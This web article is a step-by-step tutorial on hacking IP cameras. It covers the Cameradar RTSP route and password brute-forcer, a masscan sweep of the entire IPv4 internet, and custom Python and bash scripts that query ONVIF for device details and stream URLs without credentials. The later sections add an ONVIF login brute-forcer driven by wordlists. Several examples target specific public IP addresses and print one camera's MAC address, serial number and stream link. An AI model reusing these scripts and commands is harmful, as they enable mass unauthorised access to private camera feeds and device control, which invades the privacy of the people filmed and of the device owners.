IP camera security audit

How to hack an IP camera?

I helped a friend to set up the camera and I got a lot of wonderful observations. A camera with the latest firmware from this year, there is a modern application for mobile phones for it, to register in the application you need to come up with a login and a complex password, to access the camera from the application you also need to set a password. There is a cloud service for storing videos. The camera is IP rated for water and dust resistance. It knows how to pair with the phone in some clever way and receive the Wi-Fi password from it, being connected only to the outlet. This is on the one hand.

On the other hand, an old Windows application ONVIF Device Manager found this camera in a second and showed the video from this camera and a link where anyone can watch the video from this camera with a simple VLC player, of course, without entering any passwords. That's not all, you can control the camera from ONVIF Device Manager – rotate and more. ONVIF Device Manager has a firmware update button, but I didn't check it. It's all without passwords. And this despite the fact that the native admin panel with a web interface did not open in any browser.

This camera gave me the idea to write the previous article “How to detect IP cameras” and this one you are reading now.

We will get acquainted with the Cameradar program and the ONVIF protocol. And we will leave the analysis of the camera firmware for an article about forensic research of disk images and file systems (from the interesting – simple protection against mounting (garbage in front of the real file system) and the root user password, which has nowhere to enter, since the camera gives access to the video stream and control without a password).

For many cameras, Cameradar shows manufacturers – there is a chance to add to the list of vendors to find hidden surveillance cameras. And if the camera is vulnerable by the ONVIF protocol, then you can find out its MAC address, which is also suitable for instructions for detecting cameras.

What is RTSP and what is it for

Real time streaming protocol (RTSP) is an application protocol designed for use in systems working with multimedia data (multimedia content, media content), and allows you to remotely control the data flow from a server, providing the ability to execute commands, such as start, pause and stop broadcasting (playing) of multimedia content, as well as time access to files located on the server.

RTSP does not perform compression, nor does it define the media encapsulation method and transport protocols. Streaming data is not itself part of the RTSP protocol. Most RTSP servers use a standard real-time transport protocol for this, which transfers audio and video data.

RTSP is not only found in IP cameras, other devices can also use this protocol to stream media (video and audio).

To play video using the RTSP protocol, you need to know the source URL, as well as the login and password.

Example URL address:

rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1

Some RTSP servers are configured to allow access to the media stream without a password.

The URL address of the media stream is not standard, devices send it when connected after authorization.

Usually RTSP works on ports 554, 5554 and 8554.

Video from IP cameras via RTSP protocol can be opened in VLC and Mplayer.

VLC and Mplayer players are able to work with this protocol thanks to the openRTSP utility from livemedia-utils (live-media) package (http://www.live555.com/liveMedia).

Brute force RTSP

As already mentioned, the URI (“page” address) at which the media stream is available differs from device to device. That is, if you do not have credentials for authentication using the RTSP protocol, then to get the route (URL) of the media stream, you will have to search for it by brute force.

You can look at the variety of addresses at https://www.ispyconnect.com/sources.aspx.

Cameradar can search for the source address and guess the user's password. As stated in the description, Cameradar hacks RTSP CCTV cameras.

Cameradar allows you to:

  • Detect open RTSP ports on any available target host
  • Determine which device model is broadcasting
  • Launch automatic dictionary attacks to find the route of their flow (for example: /live.sdp)
  • Launch automatic dictionary attacks to guess camera username and password
  • Receive a complete and convenient report on the results

How to install Cameradar

Installation on Kali Linux

The first step is to install Go, for that see the article “How to install Go (compiler and tools) on Linux”.

Then install the program dependencies:

sudo apt install libcurl4-openssl-dev pkg-config

To download the installation source code, run the following commands:

go get github.com/Ullaakut/cameradar
cd $GOPATH/src/github.com/Ullaakut/cameradar/cmd/cameradar
go install

Now the binary is in your $GOPATH/bin, it's ready to run:

cameradar

To update when new versions are released:

go get -u github.com/Ullaakut/cameradar
cd $GOPATH/src/github.com/Ullaakut/cameradar/cmd/cameradar
go install

Installation in BlackArch

The program is preinstalled in BlackArch.

sudo pacman -S cameradar

But at the time of writing, the BlackArch maintainers did not take into account the specifics of the package, as a result, any launch will generate an error that the required files with credentials (credentials.json) and routes (routes) were not found. To fix this error, add the following options to your command:

  • -c /usr/share/cameradar/dictionaries/credentials.json
  • -r /usr/share/cameradar/dictionaries/routes

Instead of the version from the BlackArch repository, you can install the version from the source.

Remove Cameradar:

sudo pacman -R cameradar

Install Go:

sudo pacman -S go

To download the source code and install the following commands:

go get github.com/Ullaakut/cameradar
cd ~/go/src/github.com/Ullaakut/cameradar/cmd/cameradar/
go install

After that, the program will become available in the following path:

~/go/bin/cameradar

To make the program available by name

cameradar

add environment variables as described in the article “How to install Go (compiler and tools) on Linux” under “Installing Go from the standard system repositories on Arch Linux, BlackArch and their derivatives”.

With this installation method, you still need to use the -c and -r options, but you will have the latest version of the program:

  • -c /home/mial/go/src/github.com/Ullaakut/cameradar/dictionaries/credentials.json
  • -r /home/mial/go/src/github.com/Ullaakut/cameradar/dictionaries/routes

To update when new versions are released:

go get -u github.com/Ullaakut/cameradar
cd ~/go/src/github.com/Ullaakut/cameradar/cmd/cameradar/
go install

How to use Cameradar

The launch is very simple:

cameradar -t HOST

The "-t, --targets" option sets the target. The target can be a file listing hosts or network ranges, IP address, IP range, subnet, or a combination of both. Example: --targets="192.168.1.72,192.168.1.74"

The program makes a lot of requests and if some of them fail, it displays these errors on the screen, as a result of which the output becomes cluttered, so I prefer to add "2>/dev/null" to the command.

Examples of successful launches:

cameradar -t 201.191.170.250 2>/dev/null

cameradar -t 98.124.38.218 2>/dev/null

I have not found alternatives to Cameradar, so I am talking about it, but in general I did not like this program very much. The erratic results, which vary from run to run on the same host, can be attributed to the nature of the cameras themselves, which are low-end, buggy devices. But Cameradar is also fantastically slow. It takes too long to “scan the network” even if one target is specified (by default, only three ports are checked). The description of the program mentions “nmap”, but this is Cameradar's own library, it is written in Go and has nothing common with the original Nmap network scanner – perhaps this is the reason for such slowness.

Due to the sluggishness, I would not enter large ranges of networks into Cameradar, since the program outputs all the results upon completion of work, if you do not wait for completion, then all results will be lost.

You can scan the network to collect targets for Cameradar, for example, using Masscan:

sudo masscan 0.0.0.0/0 --exclude 255.255.255.255 --randomize-hosts --rate 200 -p 554,5554,8554 --output-filename cameras.xml

The following commands create a “camera” directory and filter all IP addresses from cameras *.xml files to camera/hosts.txt.

mkdir camera
cat cameras*.xml | grep -o -E '[0-9]{1,}\.[0-9]{1,}\.[0-9]{1,}\.[0-9]{1,}' | sort | uniq > camera/hosts.txt

Counting the number of IP addresses on which at least one port from 554, 5554 and 855 is open.

cat camera/hosts.txt | wc -l
10955

Cameradar consumes a minimum of resources, so cameras can be scanned in multiple threads using Interlace:

cd camera
mkdir results
interlace -tL ./hosts.txt -threads 20 -c "cameradar -t _target_ 2>/dev/null >results/_target_-cameradar.txt" -v

Related: How to speed up the scanning of numerous web sites with Interlace

If there are too many hosts in the hosts.txt file, you can split them into files using the split command:

split -l 1000 hosts.txt

To find successful results, you can use the commands:

cd results
cat * | grep -E -H 'Successful' *
cat ` grep -E -H 'require' * | grep -o -E '^[a-z0-9.-]+'`
cat * | grep -E -H 'Device RTSP URL' *

cat * | grep -E -H '✔' *

This command will list the models:

cat * | grep 'Device model' | sort | uniq

Hacking cameras via ONVIF protocol

In the article “What is HNAP, how to find and exploit routers with HNAP”, we get acquainted (as you might guess from the article name) with the HNAP protocol. It is a protocol for controlling network devices such as routers. On some devices, due to a sloppy implementation, this protocol accepts commands without a password.

Believe it or not, the situation is exactly the same with IP cameras – there are models that are controlled using the ONVIF protocol, and in this protocol, control is also done by sending simple text in XML format, and there are also cameras that allow you to execute commands without a password… And ONVIF is also difficult or even impossible to disable.

Moreover, if HNAP has not been found on new routers for a long time, ONVIF is still used.

It was in this way that the ONVIF Device Manager program was able to access the settings and video stream.

To understand how ONVIF Device Manager works, while running this program, I launched Wireshark to collect network traffic. The analysis showed that obtaining general information about the device is quite simple. The POST method sends an XML with a request.

Content of GetCapabilities.xml file:

    <s:Envelope
        xmlns:s="http://www.w3.org/2003/05/soap-envelope">
        <s:Body
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema">
            <GetCapabilities
                xmlns="http://www.onvif.org/ver10/device/wsdl">
                <Category>
                    All
                    </Category>
                </GetCapabilities>
            </s:Body>
        </s:Envelope>

You can use cURL to send the request:

curl -s 192.168.0.167:8899/onvif/device_service -d @GetCapabilities.xml | grep -i -E 'GetCapabilitiesResponse' | xmllint --format -

If you receive long output in XML markup, then this device has support for the ONVIF protocol.

ONVIF does not have a standard port, usually this protocol is found on ports 8899, 80, 8080, 5000, 6688.

Receiving the URL of the media stream takes place in several stages, so in order not to mess with cURL and .xml files, I decided to use a ready-made solution. The first thing I came across (from what worked) is python-onvif – implementation of ONVIF client in Python.

To install, run:

sudo pip3 install --upgrade onvif_zeep

Create an extractor.py file with the following content:

import sys
from onvif import ONVIFCamera

if len(sys.argv) < 4:
	user = ''
else:
	user = sys.argv[3]

if len(sys.argv) < 5:
	password = ''
else:
	password = sys.argv[4] 		

mycam = ONVIFCamera(sys.argv[1], sys.argv[2], user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')

resp = mycam.devicemgmt.GetDeviceInformation()
print (str(resp))

resp = mycam.devicemgmt.GetNetworkInterfaces()
print (str(resp))

media_service = mycam.create_media_service()
profiles = media_service.GetProfiles()
token = profiles[0].token

mycam = media_service.create_type('GetStreamUri')
mycam.ProfileToken = token
mycam.StreamSetup = {'Stream': 'RTP-Unicast', 'Transport': {'Protocol': 'RTSP'}}
print(media_service.GetStreamUri(mycam))

Pay attention to the string

/usr/local/lib/python3.9/site-packages/wsdl/

You need to replace it with your own value. This line is fine for Kali Linux. And on BlackArch/Arch Linux you need to use the following line:

/usr/lib/python3.9/site-packages/wsdl/

When the Python version changes, the line may change as well.

The path to it can be found by the following algorithm:

sudo updatedb # Update file information
locate accesscontrol.wsdl # We are looking for a file that is in the desired directory

For example found:

/usr/local/lib/python3.9/site-packages/wsdl/accesscontrol.wsdl

We take the whole line, except for the file name, that is, /usr/local/lib/python3.9/site-packages/wsdl/.

Run like this:

python3 extractor.py HOST PORT

The script makes three separate requests and displays three groups of data: device information, network interfaces, and media stream.

Launch example:

python3 extractor.py 118.39.210.69 80

Output example:

{
    'Manufacturer': 'BOSCH',
    'Model': 'AUTODOME IP starlight 7000 HD',
    'FirmwareVersion': '25500593',
    'SerialNumber': '044123455',
    'HardwareId': 'F0004D43'
}
[{
    'Enabled': True,
    'Info': {
        'Name': 'Network Interface 1',
        'HwAddress': '00-07-5f-8b-5d-2b',
        'MTU': 1514
    },
    'Link': {
        'AdminSettings': {
            'AutoNegotiation': True,
            'Speed': 100,
            'Duplex': 'Full'
        },
        'OperSettings': {
            'AutoNegotiation': True,
            'Speed': 100,
            'Duplex': 'Full'
        },
        'InterfaceType': 6
    },
    'IPv4': {
        'Enabled': True,
        'Config': {
            'Manual': [],
            'LinkLocal': None,
            'FromDHCP': {
                'Address': '118.39.210.69',
                'PrefixLength': 24
            },
            'DHCP': True,
            '_value_1': None,
            '_attr_1': None
        }
    },
    'IPv6': None,
    'Extension': None,
    'token': '1',
    '_attr_1': {
}
}]
{
    'Uri': 'rtsp://118.39.210.69/rtsp_tunnel?h26x=4&amp;line=1&amp;inst=1',
    'InvalidAfterConnect': False,
    'InvalidAfterReboot': True,
    'Timeout': datetime.timedelta(0),
    '_value_1': None,
    '_attr_1': None
}

Manufacturer, MAC address, video URI:

    'Manufacturer': 'BOSCH',
        'HwAddress': '00-07-5f-8b-5d-2b',
    'Uri': 'rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1',

It should be noted that the URI usually indicates the local IP address. Sometimes a port may be missing in the URI (always for port 80, sometimes for other ports).

Search cameras without password in ONVIF

To automate the process of identifying cameras that do not have a password set for ONVIF control, I wrote a small script.

Create the checker.sh file:

#!/bin/bash

line=$1

GetCapabilities=`cat <<_EOF_
    <s:Envelope
        xmlns:s="http://www.w3.org/2003/05/soap-envelope">
        <s:Body
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema">
            <GetCapabilities
                xmlns="http://www.onvif.org/ver10/device/wsdl">
                <Category>
                    All
                    </Category>
                </GetCapabilities>
            </s:Body>
        </s:Envelope>
_EOF_`

result=`timeout 5 curl -s $line:8899/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result2=`timeout 5 curl -s $line:80/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result3=`timeout 5 curl -s $line:8080/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result4=`timeout 5 curl -s $line:5000/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result5=`timeout 5 curl -s $line:6688/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 

if [ "$result" ]; then
	echo "Found: $line:8899";
	response=`python extractor.py $line 8899 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi

if [ "$result2" ]; then
	echo "Found: $line:80";
	response=`python extractor.py $line 80 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi

if [ "$result3" ]; then
	echo "Found: $line:8080";
	response=`python extractor.py $line 8080 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi
	
if [ "$result4" ]; then
	echo "Found: $line:5000";
	response=`python extractor.py $line 5000 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi

if [ "$result5" ]; then
	echo "Found: $line:6688";
	response=`python extractor.py $line 6688 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi

In the same folder where checker.sh, the previously discussed extractor.py file should also be located. Also create a folder "results" to save the results.

Run like this:

bash checker.sh IP_ADDRESS

This script will check five ports to see if the ONVIF protocol service is running. If the service is found, the script will try to get device information using extractor.py. If this also succeeds, the received data will be saved to the "results" folder.

The script can be run to test a single host or to test multiple hosts in multiple threads. An example in which IP addresses are taken from the hosts.txt file and a check in 20 threads is started:

parallel -j20 -a hosts.txt 'bash checker.sh {1}'

One more example:

parallel -j200 'bash checker.sh 172.{3}.{1}.{2}' ::: {1..255} ::: {1..255} ::: {16..31}

To find successful results, you can use the commands:

cd results
cat * | grep -E -H -i 'Uri' *
cat * | grep -E -H 'HwAddress' *
cat * | grep -E -H 'Manufacturer' *

This command will list the models:

cat * | grep 'Model' | sort | uniq

Brute-force cameras via ONVIF

For some hosts, the extractor.py script will produce errors similar to the following:

zeep.exceptions.Fault: Sender not Authorized
During handling of the above exception, another exception occurred:
onvif.exceptions.ONVIFError: Unknown error: Sender not Authorized

They mean that an empty username and password are not suitable and you need to provide valid credentials.

Using this, you can write scripts to brute force the credentials of IP cameras. The advantage of this method over Cameradar is that you don't have to look up the media stream URI.

Create a bruteforcer.py file and copy into it:

import sys
from onvif import ONVIFCamera

if len(sys.argv) < 4:
	user = ''
else:
	user = sys.argv[3]

if len(sys.argv) < 5:
	password = ''
else:
	password = sys.argv[4] 		

mycam = ONVIFCamera(sys.argv[1], sys.argv[2], user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')

resp = mycam.devicemgmt.GetDeviceInformation()
print (str(resp))

In fact, this is a simplified version of the extractor.py script – to understand that the credentials are wrong, we don't need to make three requests, one is enough.

Launch example:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ

If we add "2>/dev/null" to the command, then we will not see the error – in case of successful authentication, only data about the hacked device will be displayed:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ 2>/dev/null

An example of brute-force login and password of an IP camera using Parallel:

parallel -j2 -a usernames.txt -a passwords.txt 'python3 bruteforcer.py 103.96.7.96 80 2>/dev/null {1} {2}'

Conclusion

The ONVIF protocol allows not only viewing information about the properties of a camera, but also controlling it – rotating, changing settings, and more.

Recommended for you:

Leave a Reply

Your email address will not be published.